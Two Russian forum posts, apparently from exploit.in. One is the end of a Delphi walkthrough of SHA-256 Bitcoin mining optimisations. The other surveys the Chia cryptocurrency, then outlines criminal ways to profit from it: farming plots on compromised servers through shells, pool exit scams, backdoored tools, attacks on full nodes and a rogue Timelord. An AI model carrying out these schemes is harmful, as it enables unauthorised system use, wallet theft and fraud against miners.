 s0 := rightrotate(w[i-15],7) xor rightrotate(w[i-15],18) xor (w[i-15] shr 3);
 s1 := rightrotate(w[i-2],17) xor rightrotate(w[i-2],19) xor (w[i-2] shr 10);
 w [i] := w[i-16] + s0 + w[i-7] + s1;
end;

Для рассчета каждого следующего элемента очереди производится калькуляция промежуточных значений s0 и s1 которые формируются из прошлых элементов очереди сообщений w[i-15] и w[i-2]. Для нас интересен тот факт, что при неизменном timestamp для рассчета 18 и 19 элементов очереди сообщений генерируемой для хэширования второй части заголовка s1 будет всегда постоянным. А для рассчета элементов с 19 по 32 постоянными будут s0. Тогда теряется смысл делать их постоянную калькуляцию. Это можно делать также один раз при изменение timestamp.
Есть ещё один момент влияющий на хэшрейт. После формирования полной очереди сообщений используемой для рассчета хэша из второй части заголовка блока выполняются 64 раунда самого хэширования. Код классического хэширования будет выглядеть так:

Code:Copy to clipboard

for i:=0 to 63 do
begin
S1 := rightrotate(e,6) xor rightrotate(e,11) xor rightrotate(e,25);
ch := (e and f) xor ((not e) and g);
temp1 := h + S1 + ch + k[i] + w[i];
S0 := rightrotate(a,2) xor rightrotate(a,13) xor rightrotate(a,22);
maj := (a and b) xor (a and c) xor (b and c);
temp2 := S0 + maj;
h := g;
g := f;
f := e;
e := d + temp1;
d := c;
c := b;
b := a;
a := temp1 + temp2;
end;

При неизменном в длительном периоде timestamp первые три элемента очереди сообщений у нас одинаковы и независимы от nonce, а значит результат вычисления в первых трех раундах будет одинаковым. Но, кроме того, на четвертом раунде nonce играет не значительную роль и его изменением можно пренебречь (считать nonce равным 0) и добавить текущий nonce к переменным a и e уже после основных вычислений в этом раунде.
Таким образом можно вычислить состояние переменных a, b, c, d, e, f, g и h для первых трех раундов, провести для них четвертый раунд хэширования считая что w[3] равно 0 и отправлять их в функцию хэширования второй части заголовка блока в неизменном виде. Уже в этой функции добавлять к a и e текущий nonce и начинать хэширование с 5-ого раунда тем самым экономя 1/16 времени работы этого куска кода.
Ещё одно отличие от кода CUDA внесенное в мою наработку - изменение timestamp и перерасчет всех фиксированных значений при изменение global_timestamp. global_timestamp должен будет инициализироваться при запуске майнинга и меняться раз в пол часа в отдельном потоке, но в предоставленном ниже коде код потока изменяющего global_timestamp не указан. Для проверки правильности хэширования вы можете изменить nonce на nonce золотой шары тестового блока и установить global_timestamp в timestamp метку указанную в заголовке тестового блока.

5. Код ускоренного майнинга
Модуль для майнинга после всех внесенных изменений будет выглядеть так:

Code:Copy to clipboard

unit BoostedMiner;

interface

uses Windows,SysUtils,Dialogs;

type
Tdata=array of Cardinal;

const
UnixStartDate: TDateTime = 25569.0;

var
k:array [0..63] of Cardinal=($428a2f98,$71374491,$b5c0fbcf,$e9b5dba5,$3956c25b,$59f111f1,$923f82a4,$ab1c5ed5,
$d807aa98,$12835b01,$243185be,$550c7dc3,$72be5d74,$80deb1fe,$9bdc06a7,$c19bf174,
$e49b69c1,$efbe4786,$0fc19dc6,$240ca1cc,$2de92c6f,$4a7484aa,$5cb0a9dc,$76f988da,
$983e5152,$a831c66d,$b00327c8,$bf597fc7,$c6e00bf3,$d5a79147,$06ca6351,$14292967,
$27b70a85,$2e1b2138,$4d2c6dfc,$53380d13,$650a7354,$766a0abb,$81c2c92e,$92722c85,
$a2bfe8a1,$a81a664b,$c24b8b70,$c76c51a3,$d192e819,$d6990624,$f40e3585,$106aa070,
$19a4c116,$1e376c08,$2748774c,$34b0bcb5,$391c0cb3,$4ed8aa4a,$5b9cca4f,$682e6ff3,
$748f82ee,$78a5636f,$84c87814,$8cc70208,$90befffa,$a4506ceb,$bef9a3f7,$c67178f2);

fs0:array [0..13] of Cardinal;
fs1:array [0..1] of Cardinal;
round4:array [0..7] of Cardinal;
global_timestamp:Cardinal;

function nonce_search(inp:Tdata;target:Tdata;var nonce:Cardinal):boolean;
function cuda_swab32(x:Cardinal):Cardinal;
function DateTimeToUnix(ConvDate: TDateTime): Cardinal;

implementation

function DateTimeToUnix(ConvDate: TDateTime): Cardinal;
begin
Result := Round((ConvDate - UnixStartDate) * 86400);
end;

function cuda_swab32(x:Cardinal):Cardinal;
begin
result:=((x shl 24) and $ff000000) or ((x shl 8) and $00ff0000) or ((x shr 8) and $0000ff00) or ((x shr 24) and $000000ff);
end;

function RightRotate(w:Cardinal;l:byte):Cardinal;
begin
result:=(w shr l)+(w shl (32-l));
end;

function CheckToTarget(var hash:array of Cardinal;var target:Tdata):boolean;
var i:integer;
begin
result:=true;

for i:=7 downto 0 do
begin
 if hash[i]<target[i] then
  Exit;
 if hash[i]>target[i] then
 begin
  result:=false;
  Exit;
 end;
end;

end;

procedure SHA_dynamic_header_hashing(w:array of Cardinal;var buf:Tdata;timestamp:Cardinal;nonce:Cardinal;var hash:array of Cardinal);
var
h0,h1,h2,h3,h4,h5,h6,h7:Cardinal;
i:integer;
s0,s1,ch,temp1,temp2,maj:Cardinal;
a,b,c,d,e,f,g,h:Cardinal;
begin
w[1]:=Cardinal(timestamp);
w[3]:=nonce;

h0 := buf[0];
h1 := buf[1];
h2 := buf[2];
h3 := buf[3];
h4 := buf[4];
h5 := buf[5];
h6 := buf[6];
h7 := buf[7];

s0 := rightrotate(w[3],7) xor rightrotate(w[3],18) xor (w[3] shr 3);
w [18] := w[2] + s0 + w[11] + fs1[0];

w [19] := w[3] + fs0[0] + w[12] + fs1[1];

for i:=20 to 32 do
begin
 s1 := rightrotate(w[i-2],17) xor rightrotate(w[i-2],19) xor (w[i-2] shr 10);
 w[i] := w[i-16] + fs0[i-19] + w[i-7] + s1;
end;


for i:=33 to 63 do
begin
 s0 := rightrotate(w[i-15],7) xor rightrotate(w[i-15],18) xor (w[i-15] shr 3);
 s1 := rightrotate(w[i-2],17) xor rightrotate(w[i-2],19) xor (w[i-2] shr 10);
 w[i] := w[i-16] + s0 + w[i-7] + s1;
end;

a:=round4[0];
b:=round4[1];
c:=round4[2];
d:=round4[3];
e:=round4[4];
f:=round4[5];
g:=round4[6];
h:=round4[7];

a:=a+nonce;
e:=e+nonce;

for i:=4 to 63 do
begin
 S1 := rightrotate(e,6) xor rightrotate(e,11) xor rightrotate(e,25);
 ch := (e and f) xor ((not e) and g);
 temp1 := h + S1 + ch + k[i] + w[i];
 S0 := rightrotate(a,2) xor rightrotate(a,13) xor rightrotate(a,22);
 maj := (a and b) xor (a and c) xor (b and c);
 temp2 := S0 + maj;
 h := g;
 g := f;
 f := e;
 e := d + temp1;
 d := c;
 c := b;
 b := a;
 a := temp1 + temp2;
end;

hash[0]:=h0+a;
hash[1]:=h1+b;
hash[2]:=h2+c;
hash[3]:=h3+d;
hash[4]:=h4+e;
hash[5]:=h5+f;
hash[6]:=h6+g;
hash[7]:=h7+h;

end;

function SHA_second_hashing(var w:array of Cardinal):boolean;
var
h0,h1,h2,h3,h4,h5,h6,h7:Cardinal;
i:integer;
s0,s1,ch,temp1,temp2,maj:Cardinal;
a,b,c,d,e,f,g,h:Cardinal;
begin
h0 := $6a09e667;
h1 := $bb67ae85;
h2 := $3c6ef372;
h3 := $a54ff53a;
h4 := $510e527f;
h5 := $9b05688c;
h6 := $1f83d9ab;
h7 := $5be0cd19;

for i:=16 to 63 do
begin
 s0 := rightrotate(w[i-15],7) xor rightrotate(w[i-15],18) xor (w[i-15] shr 3);
 s1 := rightrotate(w[i-2],17) xor rightrotate(w[i-2],19) xor (w[i-2] shr 10);
 w[i] := w[i-16] + s0 + w[i-7] + s1;
end;

a:=h0;
b:=h1;
c:=h2;
d:=h3;
e:=h4;
f:=h5;
g:=h6;
h:=h7;

for i:=0 to 63 do
begin
 S1 := rightrotate(e,6) xor rightrotate(e,11) xor rightrotate(e,25);
 ch := (e and f) xor ((not e) and g);
 temp1 := h + S1 + ch + k[i] + w[i];
 S0 := rightrotate(a,2) xor rightrotate(a,13) xor rightrotate(a,22);
 maj := (a and b) xor (a and c) xor (b and c);
 temp2 := S0 + maj;
 h := g;
 g := f;
 f := e;
 e := d + temp1;
 d := c;
 c := b;
 b := a;
 a := temp1 + temp2;
end;

w[7]:=h7+h;
if w[7]<>0 then
begin
 result:=false;
 Exit;
end;

w[6]:=h6+g;
w[5]:=h6+f;
w[4]:=h6+e;
w[3]:=h6+d;
w[2]:=h6+c;
w[1]:=h6+b;
w[0]:=h6+a;

result:=true;

end;

function sha256_doublehash(var buf,target:Tdata;var w2:array of Cardinal;w3:array of Cardinal;timestamp:Cardinal;nonce:Cardinal):boolean;
begin
SHA_dynamic_header_hashing(w2,buf,timestamp,nonce,w3);

if not SHA_second_hashing(w3) then
 result:=false
else
 if CheckToTarget(w3,target) then
  result:=true
 else
  result:=false;
end;

procedure SHA_stable_header_hashing(var w:array of Cardinal;var buf:Tdata);
var
h0,h1,h2,h3,h4,h5,h6,h7:Cardinal;
i:integer;
s0,s1,ch,temp1,temp2,maj:Cardinal;
a,b,c,d,e,f,g,h:Cardinal;
begin

h0 := $6a09e667;
h1 := $bb67ae85;
h2 := $3c6ef372;
h3 := $a54ff53a;
h4 := $510e527f;
h5 := $9b05688c;
h6 := $1f83d9ab;
h7 := $5be0cd19;

for i:=16 to 63 do
begin
 s0 := rightrotate(w[i-15],7) xor rightrotate(w[i-15],18) xor (w[i-15] shr 3);
 s1 := rightrotate(w[i-2],17) xor rightrotate(w[i-2],19) xor (w[i-2] shr 10);
 w[i] := w[i-16] + s0 + w[i-7] + s1;
end;

a:=h0;
b:=h1;
c:=h2;
d:=h3;
e:=h4;
f:=h5;
g:=h6;
h:=h7;

for i:=0 to 63 do
begin
 S1 := rightrotate(e,6) xor rightrotate(e,11) xor rightrotate(e,25);
 ch := (e and f) xor ((not e) and g);
 temp1 := h + S1 + ch + k[i] + w[i];
 S0 := rightrotate(a,2) xor rightrotate(a,13) xor rightrotate(a,22);
 maj := (a and b) xor (a and c) xor (b and c);
 temp2 := S0 + maj;
 h := g;
 g := f;
 f := e;
 e := d + temp1;
 d := c;
 c := b;
 b := a;
 a := temp1 + temp2;
end;

buf[0]:=h0+a;
buf[1]:=h1+b;
buf[2]:=h2+c;
buf[3]:=h3+d;
buf[4]:=h4+e;
buf[5]:=h5+f;
buf[6]:=h6+g;
buf[7]:=h7+h;

end;

procedure get_round4_calculation(var w:array of Cardinal;buf:Tdata;timestamp:Cardinal);
var
a,b,c,d,e,f,g,h:Cardinal;
i:integer;
s0,s1,ch,maj,temp1,temp2:Cardinal;
begin
w[1]:=timestamp;
w[3]:=0;

a:=buf[0];
b:=buf[1];
c:=buf[2];
d:=buf[3];
e:=buf[4];
f:=buf[5];
g:=buf[6];
h:=buf[7];

for i:=0 to 3 do
begin
 S1 := rightrotate(e,6) xor rightrotate(e,11) xor rightrotate(e,25);
 ch := (e and f) xor ((not e) and g);
 temp1 := h + S1 + ch + k[i] + w[i];
 S0 := rightrotate(a,2) xor rightrotate(a,13) xor rightrotate(a,22);
 maj := (a and b) xor (a and c) xor (b and c);
 temp2 := S0 + maj;
 h := g;
 g := f;
 f := e;
 e := d + temp1;
 d := c;
 c := b;
 b := a;
 a := temp1 + temp2;
end;

round4[0]:=a;
round4[1]:=b;
round4[2]:=c;
round4[3]:=d;
round4[4]:=e;
round4[5]:=f;
round4[6]:=g;
round4[7]:=h;
end;

function nonce_search(inp:Tdata;target:Tdata;var nonce:Cardinal):boolean;
var
dt:Cardinal;
buf:Tdata;
w1,w2,w3:array [0..63] of Cardinal;
timestamp:Cardinal;
s0,s1:Cardinal;
i:integer;
begin
result:=true;

timestamp:=0;

dt:=DateTimeToUnix(Now);

setlength(buf,8);

Move(inp[0],w1[0],64);

ZeroMemory(@w2[0],256);
Move(inp[16],w2[0],16);

w2[4]:=2147483648;
w2[15]:=640;

ZeroMemory(@w3[0],256);
w3[8]:=2147483648;
w3[15]:=256;

SHA_stable_header_hashing(w1,buf);

for nonce:=0 to 4294967295 do
begin

 if timestamp<>global_timestamp then
 begin
  timestamp:=global_timestamp;
  for i:=16 to 17 do
  begin
s0 := rightrotate(w2[i-15],7) xor rightrotate(w2[i-15],18) xor (w2[i-15] shr 3);
s1 := rightrotate(w2[i-2],17) xor rightrotate(w2[i-2],19) xor (w2[i-2] shr 10);
w2 [i] := w2[i-16] + s0 + w2[i-7] + s1;
  end;

  for i:=0 to 13 do
fs0[i] := rightrotate(w2[i+4],7) xor rightrotate(w2[i+4],18) xor (w2[i+4] shr 3);

  for i:=0 to 1 do
fs1[i]:=rightrotate(w2[i+16],17) xor rightrotate(w2[i+16],19) xor (w2[i+16] shr 10);

  get_round4_calculation(w2,buf,timestamp);
 end;

 if sha256_doublehash(buf,target,w2,w3,timestamp,nonce) then
  Exit;

 if nonce=10000001 then
  Showmessage(inttostr(DateTimeToUnix(now)-dt));
end;

result:=false;

end;

end.

Код инициализации и запуска майнинга:

Code:Copy to clipboard

function SwapString(s:string):string;
var
i:integer;
begin
result:='';
i:=length(s)-1;
while i>0 do
begin
 result:=result+copy(s,i,2);
 i:=i-2;
end;
end;

function HexToInt(Str : string): integer;
var
i, r : integer;
begin
val('$'+Trim(Str),r, i);
if i<>0 then
 HexToInt := 0
else
 HexToInt := r;
end;

function HexToString(s:string):string;
var
i:integer;
begin
result:='';
i:=1;
while i<=length(s) do
begin
 result:=result+char(HexToInt(s[i]+s[i+1]));
 i:=i+2;
end;
end;

procedure InitAndStart;
var
data:Tdata;
prevblock,rootHash:string;
nonce:Cardinal;
target:Tdata;
i:integer;
begin
global_timestamp:=DateTimeToUnix(now);

setlength(target,8);

target[0]:=0;
target[1]:=0;
target[2]:=0;
target[3]:=0;
target[4]:=0;
target[5]:=4060086272;
target[6]:=17593;
target[7]:=0;

prevblock:=HEXToString(SwapString('00000000000008a3a41b85b8b29ad444def299fee21793cd8b9e567eab02cd81'));
rootHash:=HEXToString(SwapString('2b12fcf1b09288fcaff797d71e950e71ae42b91e8bdb2304758dfcffc2b620e3'));

setlength(data,20);

data[0]:=1;
Move(prevblock[1],data[1],32);
Move(rootHash[1],data[9],32);
data[17]:=1305998791;
data[18]:=440711666;
data[19]:=0;

for i:=0 to 19 do
 data[i]:=cuda_swab32(data[i]);

if nonce_search(data,target,nonce) then
 Showmessage(inttostr(nonce))
else
 Showmessage('Not found');
end;

6. Замеры и выводы
После запуска и замеров моей вариации майнера при тех же условиях и на том же железе был получен результат 144927 х/c. Таким образом коэффициент увеличения скорости майнинга на этапе перебора nonce составил x1.3478 от результата CUDA, что можно считать вполне приемлемым исходом исследования. Если же посчитать коэффициент буста хэшрейта по сравнению с классической реализацией SHA, то он составит приблизительно x1.7246. Думаю дополнительные исследования позволят ещё немного увеличить скорость. Кроме
того ресерч надо проводить и для этапов хэширования codebase транзакции вместе с формированием Merkle Root, так как эти вычисления при больших мощностях будут проходить достаточно часто и могут тормозить основной процесс майнинга. Более того, подобные методы ускорения майнинга могут найтись и в других криптовалютах.
Хотите чтобы я провел дополнительные исследования и выложил результаты на форуме? Голосуйте за меня и да пусть победит темная сторона силы.

7. Дополнение 1: ещё один обнаруженный способ
Всякие интересные решения часто приходят перед сном и это не исключение. Кто- то пытаясь заснуть считает овец. Я же думал об алгоритме хэширования. И обнаружил ещё один интересующий меня участок кода. Функция SHA_second_hashing рассчитывает второй хэш из первого и, как мы ранее обсуждали, в ней нет смысла делать рассчет хэша до кноца. В CUDA свою окончательную форму принимают лишь последние 2 32-битных элемента хэша. У меня же проводится тестирование последнего элемента на равенство 0 и вылету из функции при не соблюдение данного условия.. Но в процессе 64 раундов хэширования очереди сообщений так сильно необходимый в состояние 0 последний элемент не меняет своё состояние в последних 3-ех раундах. Он лишь меняет свою позицию.

Посмотрите сюда:

Code:Copy to clipboard

for i:=0 to 63 do
begin
 S1 := rightrotate(e,6) xor rightrotate(e,11) xor rightrotate(e,25);
 ch := (e and f) xor ((not e) and g);
 temp1 := h + S1 + ch + k[i] + w[i];
 S0 := rightrotate(a,2) xor rightrotate(a,13) xor rightrotate(a,22);
 maj := (a and b) xor (a and c) xor (b and c);
 temp2 := S0 + maj;
 h := g;
 g := f;
 f := e;
 e := d + temp1;
 d := c;
 c := b;
 b := a;
 a := temp1 + temp2;
end;

w[7]:=h7+h;
if w[7]<>0 then
begin
result:=false;
Exit;
end;

На последнем 64-ом раунде h принимает свое окончательное значение, затем уже вне цикла складывается с изначальным состоянием h7 и тестируется на соответствие нулю. Но посмотрите что же такое h на последнем раунде на самом деле. Это состояние g на предпоследнем раунде. Т.е. h по факту не изменился, но изменилось его положение в памяти. Последнее фактическое изменение h происходит на 60-ом раунде. Тогда зачем нам нужно ещё 3 раунда хэширования если на 60-ом раунде сравнение с целью не даст нужный результат? Добавим в функцию тест на достижение цели после 60-ого раунда учитывая тот факт, что реальное местоположение h находится в области памяти выделенной под e.

Внесем изменения в исследуемую функцию:

Code:Copy to clipboard

function SHA_second_hashing(var w:array of Cardinal):boolean;
var
h0,h1,h2,h3,h4,h5,h6,h7:Cardinal;
i:integer;
s0,s1,ch,temp1,temp2,maj:Cardinal;
a,b,c,d,e,f,g,h:Cardinal;
begin
h0 := $6a09e667;
h1 := $bb67ae85;
h2 := $3c6ef372;
h3 := $a54ff53a;
h4 := $510e527f;
h5 := $9b05688c;
h6 := $1f83d9ab;
h7 := $5be0cd19;

for i:=16 to 63 do
begin
 s0 := rightrotate(w[i-15],7) xor rightrotate(w[i-15],18) xor (w[i-15] shr 3);
 s1 := rightrotate(w[i-2],17) xor rightrotate(w[i-2],19) xor (w[i-2] shr 10);
 w[i] := w[i-16] + s0 + w[i-7] + s1;
end;

a:=h0;
b:=h1;
c:=h2;
d:=h3;
e:=h4;
f:=h5;
g:=h6;
h:=h7;

for i:=0 to 60 do
begin
 S1 := rightrotate(e,6) xor rightrotate(e,11) xor rightrotate(e,25);
 ch := (e and f) xor ((not e) and g);
 temp1 := h + S1 + ch + k[i] + w[i];
 S0 := rightrotate(a,2) xor rightrotate(a,13) xor rightrotate(a,22);
 maj := (a and b) xor (a and c) xor (b and c);
 temp2 := S0 + maj;
 h := g;
 g := f;
 f := e;
 e := d + temp1;
 d := c;
 c := b;
 b := a;
 a := temp1 + temp2;
end;

if h7+e<>0 then
begin
  result:=false;
  Exit;
end;

for i:=61 to 63 do
begin
 S1 := rightrotate(e,6) xor rightrotate(e,11) xor rightrotate(e,25);
 ch := (e and f) xor ((not e) and g);
 temp1 := h + S1 + ch + k[i] + w[i];
 S0 := rightrotate(a,2) xor rightrotate(a,13) xor rightrotate(a,22);
 maj := (a and b) xor (a and c) xor (b and c);
 temp2 := S0 + maj;
 h := g;
 g := f;
 f := e;
 e := d + temp1;
 d := c;
 c := b;
 b := a;
 a := temp1 + temp2;
end;

w[7]:=h7+h;
if w[7]<>0 then
begin
 result:=false;
 Exit;
end;

w[6]:=h6+g;
w[5]:=h6+f;
w[4]:=h6+e;
w[3]:=h6+d;
w[2]:=h6+c;
w[1]:=h6+b;
w[0]:=h6+a;

result:=true;

end;

Делаем замер и получаем прирост к хэшрейту до состояния 147058 х/с. Коэффициент увеличения хэшрейта х1.3676

Автор @BlackDog
источник exploit.in

Криптовалюта Chia
ID: 67686ad7b4103b69df379a0d
Thread ID: 53322
Created: 2021-06-25T22:54:13+0000
Last Post: 2021-07-10T16:02:19+0000
Author: lisa99
Replies: 7 Views: 2K

Криптовалюта Chia. Обзор​

Начало. Хайп

Старт нового криптопроекта CHIA заметили все, и Вы тоже, наверное –майнинг|фарминг на жестких дисках вызвал резкий рост стоимости компонентов и их дефицит по всему миру.
Термин chia (чиа, семена растения) был выбран, чтобы подчеркнуть «экологичность» новой валюты, не требующей энергозатрат (vs BТC). Отсюда странные для IT с/х термины, которыми придется оперировать ниже: поля, участки (плоты), посевы, комбайны (харвестеры), фермы, фарминг.
С большинством криптовалют происходит так: их стоимость взлетает после листинга и падает, стабилизируясь, или скатываясь до нуля впоследствии. Chia (чиа) не стала исключением. Классического ICO не было. Тестовая сеть testnet трансформировалась в mainnet. Весь апрель в инете был в разгаре хайп, профессиональные майнеры переключались/расширялись на фарминг чиа. Награду (монетки с неизвестной стоимостью) вначале получить удавалось многим и это только подогревало страсти.
2 мая, накануне старта продаж на биржах новой криптовалюты XCH, купить диски большой емкости было уже невозможно нигде.

Хабр опубликовал статью со владельцем 1Птб объемов хранения. И таковой был не единственным. _ttps://habr.com/ru/company/ruvds/blog/554046/

Цитата:
было совершенно очевидно, что в проект надо заходить, а туда попасть на пресейл вместе с фондами, на предпродаже не было возможности. На самом деле основные деньги зарабатываются в криптовалюте не на спекуляциях, они зарабатываются на инвестициях, если есть возможность заходить в хорошие проекты на ранней стадии в период предпродаж, то хорошие результаты получаются. Flow например, 400 иксов, это просто безумие, безумные деньги. $1000 туда вложенная в сентябре сейчас имеет $400 000, представляете какие деньги...

Почему Chia?

Можно возразить, что криптовалют, в основе которых использование дискового пространства уже было немало. Ни одна из них не стала «убийцей биткойна» Еще один стартап? Да.
Причины массового интереса и некоего траста к новой криптовалюте, кратко.

Технические

Экономические

Перспективы (детальней)

Концепция проекта. Программно-техническая.
Для дальнейшего связного изложения нужно обратится к концепции чиа. Авторы утверждают, что совершили революцию в мире блокчейна, имея ввиду оригинальную концепцию построения сети и новый алгоритм консенсуса Накамото (с 2008г). Энергоемкие «доказательства работы» Proof of Work сменил принцип «доказательства пространства и времени» Proof of Space and Time, который опирается на двухэтапную аутентификацию блоков (пояснение ниже).
Майнеры в новой концепции называются "фермерами". Процесс майнинга заключается в «засеивании» участков (плотов) софтом, генерирующим хеши на основе публичного ключа фермера. Забегая наперед - плоты сами по себе угону не подлежат, они персонифицированы. Процесс засеивания достаточно капризен (для начинающих) и требователен к ресурсам. Формируются временные файлы, которые затем превращаются в рабочие участки, автоматически подключающиеся к фармингу – поиску блоков из блокчейна, соответствующих заданному условию.
Т.е. вычисление (BTC) заменяется поиском в содержании участков, записи имеют табличную форму.

Де-факто происходит розыгрыш монет , среди владельцев участков по принципу

  1. процента от общего пространства,
  2. приближенности найденного хеша к заданному. Цитата из FAQ «В такой системе пользователи хранят случайные числа –просматривают данные на своих жестких дисках за периоды времени, и их шанс выиграть Chia пропорционален выделенному им пространству»
  3. Сервер VDF, пафосно названный разработчиками Повелителем времени , "Timelord" (также Хранитель времени, также Хронограф), проверяет этот блок, формируя следующий, наращивая цепочку (высоту) блокчейна.

Теоретические замечания. Мне представляется, что несмотря на оригинальное название алгоритма блокчейна «Proof of Space and Time» мы на самом деле имеем дело с частным случаем все более применяемого алгоритма консенсуса Proof of Stake (PoS).

При алгоритме PoS процесс выбора следующего блока вплотную связан с «владением» (например, цепи с самым большим количеством криптоактивов в залоге или самым большим количеством голосов). При этом PoS не решает проблему того, кто именно создает каждый блок или интервал времени, через который появляются новые блоки. Таким образом, должны применяться дополнительные механизмы для решения данных вопросов.
В чистых PoS сетях валидаторы также должны генерировать новые блоки. Такие системы часто работают путем случайного выбора цепочки авторизированных создателей новых блоков из пула, причем, вероятность выбора прямо пропорциональна количеству средств в залоге. Проблема состоит в том, что в систему консенсуса должен быть внедрен некий рандомайзер.

В CHIA блокчейне таким генератором цепочки выступает сервер VDF. Его задача принять 256-битный вектор x из фермерского плота («вызов»), сгенерировать функцию, основанную на последовательных вычислениях ( важный принцип, позволяющий исключить преимущества распараллеливания блоков) и выдать данные с доказательством , что функция была оценена правильно. Включение значения в данные присланные VDF означает, что это значение комбинируется с выходом VDF, чтобы сгенерировать новое значение, которое используется в качестве ввода /вызова для следующего VDF.

posf.jpg

Поэтому VDF встраивается в цепочку, но при этом фиксируется новое значение (блок) между ними. Это используется для того, чтобы была линейная последовательность блоков, чередуя доказательства пространства с доказательствами времени.
Фермер получает монету, если отправленный им блок (хеш) максимально приближен к вычисленному Таймлордом.

Сеть Chia
Упрощенная топология сети Чиа
396.gif

Как видим, в основе сети лежит протокол p2p, сеть одноранговая по топологии, что реализует идею Коэна о максимальной децентрализации. Обратная сторона медали – долгая синхронизация из-за неудобных для сети нодов.
Официальные пояснения, можно дополнить некоторыми замечаниями.

  1. Харвестеры – маломощные ПК, поддерживаюшие** фарминг** , вплоть до «малинки»
  2. Плоттинг всегда выполняется уже на относительно мощной машине (на схеме-фермерской)
  3. Фермер на данный момент может одновременно майнить соло и в пуле – что вызвало конфликт среди майнеров по миру. Официального пула на данный момент (публикации статьи) нет.
  4. Ноды, одинаковые по функциональности, равноправны.
  5. Кошельки для ноды необязательны.

Схема на самом деле неполная, но общий функционал передает.

Экономика CHIA

Текущая ситуация на рынке валюты и в ее майнинге. Давайте посмотрим, как обстоят дела с рынком этой валюты. С момента старта, график стоимости XCH выглядит следующим образом

chia07.jpg

Как видим, после старта продаж на биржах произошел резкий скачок стоимости монеты (токена). На форуме exploit.in висело объявление "скупаю монеты chia в любых объемах". Хайп на листинге себя оправдал.
Затем стоимость чиа стала проседать, что отчасти можно объяснить общим падением курса криптовалют по отношению к доллару. Ниже - график изменения стоимости BTC/USD примерно за это же время.
bitc.jpg

Можно предположить, и это кажется логичным, что чиа в цене скатится очень низко и заработать, вкладываясь в долгую, не получится. Однако, на мой взгляд (+ сторонняя аналитика), Чиа еще ожидает подъем. Почему?

  1. в этом году организаторы планируют вывести акции на амер. биржу NASDAG, т.е. провети IPO
    Таким образом, будет создана некая связь между белым рынком и рынком криптовалют, расширен объем инвестиций и общая капитализация.
  2. экосистема, такое модное понятие/слово, для данного проекта еще не сформирована. Напомню - создатели обещают smart-контракты на базе ChiaLisp и удобные кошельки.
  3. Производителям дисков, огромным пулам очень выгодно лоббировать рост данной криптовалюты.

И еще один довод. Можно привести пример изменения стоимости еще одной "файловой" валюты: Filecoin. Дешевая монета выросла в цене в три раза (причины в данном случае неважны).
ff.jpg

Как заработать на CHIA ?

1. В белую

2. Серыми методами

3. Черными методами

Рассмотрим по порядку каждый пункт. Сразу хотелось бы подчеркнуть, что все изложенное носит обзорный характер. Практического руководства - как разместить такие-то скрипты для брутфорса/кражи сид-фраз/фейков/эксплойтинга и поиметь что-то с жертвы - нет.

Белые методы
На данный момент это а) майнинг, б) трейдинг на биржах, в) покупка/продажа плотов г) услуги облачного майнинга

Майнинг соло (в одиночку) уже признан малодоходным занятием. Кто вообще этим занимается и зачем? Энтузиасты, которым возня с железом заменяет другие радости жизни, сисадмины, владеющие списанными дисками, либо клиентскими (чужими) серверами, и майнеры, сидящие на железе, которое хочется использовать по полной (майнинг других валют и "файловых".
Майнят чаще всего в пулах.
Детальней углубляться не хочется, суммы скушные. Остальные пункты, даже если я что-то упустила, все равно малоинтересны.

Серые методы

1. Нестандартное применение шеллов – превращаем чужие диски в поля для комбайнов. "Серый" майнинг

Напомню, что процесс добычи монет состоит из двух этапов.
(1) Плоттинг - т.е. генерация плотов=графиков=таблиц на мощных компьютерах с большим объемом оперативки, и местом под временные файлы плотов (желательно SSD)
(2) Фарминг - проверку выигрыша монеты, т.е просмотр сгенерированных хешей на плотах.
Основная мысль: если есть где наплоттить участки, то фармить их можно и на чужих серверах. На создание одного плота ~110 Гб (k=32) тратится в зависимости от конфигурации - от получаса до нескольких часов

Почему схема серая? Вряд ли кто-то будет всерьез охотится за теми, кто накидал кучу мусора на диск.
Если заниматься этим в промышленных масштабах, то судя по оценке майнеров, админ получит максимум 2-3-4 з/п сверху. Конечно, желающие полупассивно получать двойную з/п находятся.

Вот общая, упрощенная схема, как я себе представляю задействование своих/чужих дисковых пространств.

netnet.gif

2. Пул как хайп, экзит-скам

Пул – официальное объединение майнеров, т.е. их мощностей. Пулы в Чиа очень популярны, потому что в соло намайнить даже небольшие суммы становится все труднее: растет кол-во засеянныхх участков и вместе с тем сложность сети.

Есть еще одна особенность сети Чиа, касающаяся пулов. Согласно концепции одноранговости, все процедуры плоттинга выполняют фермерские машины. И, по задумке местных демиургов (Коэна, в частности), задача пула – концентрировать данные и кошельки и проверять блокчейны на плотах юзеров.

Схемы хайпа очевидны. Их две.
а) отбираем больше чем оговорено официально и существуем долго,
б) набираем нужное кол-во монеток и сливаемся

Вот пример как развернут функционал китайского пула (huobi). Первая колонка - машины майнеров. Вторая - общие с фермерами хранилища плотов. Третья - ядро Чиа и инструменты работы с БД.

20210430201910_99320.png

БЛЭК. Векторы атак на сеть и блокчейн CHIA

  1. Софт с бэкдорами на github/соцсети и пр.
  2. Атаки на фулл-ноды.
  3. Атаки на пулы
  4. Атака 51 + самый быстрый Повелитель времени
  5. Иное

1. Софт с бэкдорами
Так как весь софт для разработки блокчена Чиа открыт, то еще один скрипт, что- то оптимизирующий
· а) никого не удивит
· б) очень востребован, т.к. не хватает многих утилит для развертывания сети, мониторинга за процессами засевания, фарминга и пр. (просмотр логов, алерты, визуализация)
· в) впереди смарт-контракты на ChiaLisp
Вероятно, чем сложнее софт, тем дольше будет жить бэкдор, вставленный в какую- то версию обновления. Соответственно, снять урожай при бэкконнекте можно там, где это интересно.

2.Атаки на фулл-ноды и пулы
Известно, что порты нод у фермерских машин открыты. Не имея доступа к masscan-у, берем первый попавшийся сервер (full node) из сети chia. Порт открыт. Эксплойт найти не так просто, тем не менее, в случае удачи доступ будет получен к десяткам тысяч фермерских машин с кошельками chia.

8444port.gif

4. АТАКА 51% + самый быстрый Повелитель времени

Сети Чиа ребуется хотя бы один работающий Повелитель времени, чтобы продолжать рост блокчейна. Одна из ключевых особенностей Proofs of Time заключается в том, что при одном и том же Proof of Space их результат и доказательство всегда одинаковы.
На самом деле каждый сервер VDF выполняет одни и те же задачи для очередного звена блокчейна. Первый выигравший время вычислений (подтвердивший результат) – формирует «лотерейную монетку» - доказательство времени для данного доказательства пространства.

Резервные серверы VDF включаются в случае если основной сервер VDF по какой- то причине тормозит или не выполняет свои функции.

proof.gif

Появляется самая интересная мысль, на основе вышеизложенной информации. Зная IP, исходный код, открытые порты TimeLords подключить свой сервер, возможно, со своей математикой и пруфами (доказательствами пространства- времени).
